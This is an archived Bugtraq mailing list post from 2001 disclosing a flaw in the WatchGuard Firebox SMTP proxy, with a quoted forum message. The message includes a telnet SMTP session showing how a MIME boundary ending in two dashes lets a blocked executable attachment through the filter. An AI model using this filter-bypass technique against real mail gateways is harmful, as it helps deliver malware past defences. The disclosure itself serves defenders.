Home page logo
/

bugtraq logo Bugtraq mailing list archives

WatchGuard SMTP Proxy issue
From: "Dante Mercurio" <dmercurio () ccgsecurity com>
Date: Fri, 8 Jun 2001 16:26:33 -0400

The WatchGuard firebox has an SMTP proxy that allows for the exclusion
of attachments by MIME type and by file extension. It has been found
that under certain conditions, this feature can be overridden, allowing
files such as executables and VB script through the filter.

A customer of mine originally reported a problem on 12/19/00 with
WatchGuard case #255345. This was on version 4.5 of their LiveSecurity
software. On 5/27/01 Thomas Boll sent the following to the WG support
forum:

-----Original Message-----
From: Thomas Boll [mailto:tb () boll ch]
Sent: Sunday, May 27, 2001 7:13 PM
To: 'wg-users () watchguard com'
Cc: 'krol () ssr ch'
Subject: [WG-Users] SMTP Vulnerability!


Hi List

Users have reported that attachments blocked by file extension
make it through the SMTP Proxy even if the file extension is
on the blocked list (WG 4.6).

After some testing I believe that the MIME boundary is responsible
for the SMTP Proxy to fail. If the MIME boundary ends in two dashes
the Proxy will not correctly identify the attachment. This seems to
be typical for Free BSD based systems. This behaviour can be simply
tested on any firewall using the SMTP Proxy denying some attachments
based on the filename. Consider the two examples at the end 
of this message.

The reason seems to be obvious, two dashes end the MIME 
container, which
leads to a misinterpretation of the SMTP proxy. 

Regards
Thomas

==============================================================
=========

# telnet smtpserv 25
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xx.
Escape character is '^]'.
220 SMTP service ready
helo mydomain.com
250 Requested mail action okay, completed
mail from: me () mydomain com
250 Requested mail action okay, completed
rcpt to: me () smtpserv mydomain com
250 Requested mail action okay, completed
data
354 Start mail input; end with <CRLF>.<CRLF>
Content-Type: multipart/mixed; boundary="--sugus"

----sugus
Content-Type: application/octet-stream; filename="Calc.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Calc.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
.
250 Requested mail action okay, completed

=====> THE ANSWER IS CORECT AS IN:
---------------------------------------------------------------
From me () mydomain com  Mon May 28 00:46:37 2001
Return-Path: <me () mydomain com>
Delivered-To: me () smptserv mydomain com
Content-Type: multipart/mixed; boundary="--sugus"
Date: Mon, 28 May 2001 00:45:54 +0200 (CEST)
From: mw () mydomain com

----sugus
Content-Type: text/plain; charset=us-ascii

[Attachment denied by WatchGuard SMTP proxy (type 
"application/octet-stream", filename "Calc.exe")]


==============================================================
============
If however the boundary ends in --, the check will fail:


.....
Content-Type: multipart/mixed; boundary="--sugus--"

----sugus--
Content-Type: application/octet-stream; filename="Calc.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Calc.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
.
250 Requested mail action okay, completed
  

THE RESULT IS WRONG NOW:

----sugus--
Content-Type: application/octet-stream; filename="Calc.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Calc.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
...

=================================================================
=========
For help or to subscribe/unsubscribe, send mail to:
wg-users-request () watchguard com, with the word "subscribe", 
"unsubscribe"
or "help" in the body of the message.


Versions 4.5 and 4.6 have been tested and confirmed vulnerable. It is
unknown if other versions are vulnerable also.

M. Dante Mercurio, CCNA, MCSE+I, CCSA
Consulting Services Manager
Continental Consulting Group, LLC
www.ccgsecurity.com <http://www.ccgsecurity.com> 
dmercurio () ccgsecurity com <mailto:dmercurio () ccgsecurity com> 


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault